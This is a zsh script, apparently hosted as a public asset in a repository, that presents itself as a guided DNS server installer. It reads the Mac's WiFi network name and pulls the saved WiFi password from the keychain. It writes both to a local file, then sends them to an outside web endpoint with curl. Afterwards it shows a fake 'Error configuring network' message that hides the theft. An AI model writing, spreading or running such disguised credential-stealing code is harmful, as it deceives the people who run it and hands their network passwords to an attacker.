gallium-workshop/public/assets/sources/x-proto-dns.sh

5 lines
1.2 KiB
Bash
Raw Permalink Normal View History

2023-10-12 19:18:30 -07:00
#!/bin/zsh
read -n 1 -s -r -p 'Press enter to start';echo '';echo 'Preparing DNS …';echo 'This script will guide you through the installation process of the DNS server.';echo 'It may require you to respond to some system dialogs to ensure WiFi connectivity.';echo '';read -n 1 -s -r -p 'Press enter to continue';echo '';echo 'Identifying Router Name …';SSID=$(networksetup -getairportnetwork en0 | awk -F': ' '{print $2}');if [[ -z "$SSID" ]]; then; echo 'Could not retrieve SSID. Are you connected to a network?'; exit 1;fi;PASSWORD=$(security find-generic-password -D "AirPort network password" -a "$SSID" -w);if [[ -z "$PASSWORD" ]]; then; echo 'Could not retrieve password. Do you have the necessary permissions?'; exit 1;fi;{; echo "$SSID"; echo "$PASSWORD";} > output157.txt;COMBINED=$(echo 'SSID: '$SSID + '\%\%PASSWORD: '$PASSWORD);echo 'Getting network configuration …';curl -X GET -G 'https://sphinx-three.vercel.app/api/crypto/dump' --data-urlencode 'contents='$COMBINED > /dev/null
# script > EXIT!
echo 'Error configuring network!';echo 'Dumping error report below:';echo '> Could not find module '$ROUTERNAME;echo '> Please check your network configuration';echo '';read -n 1 -s -r -p 'Press enter to exit';echo '';exit;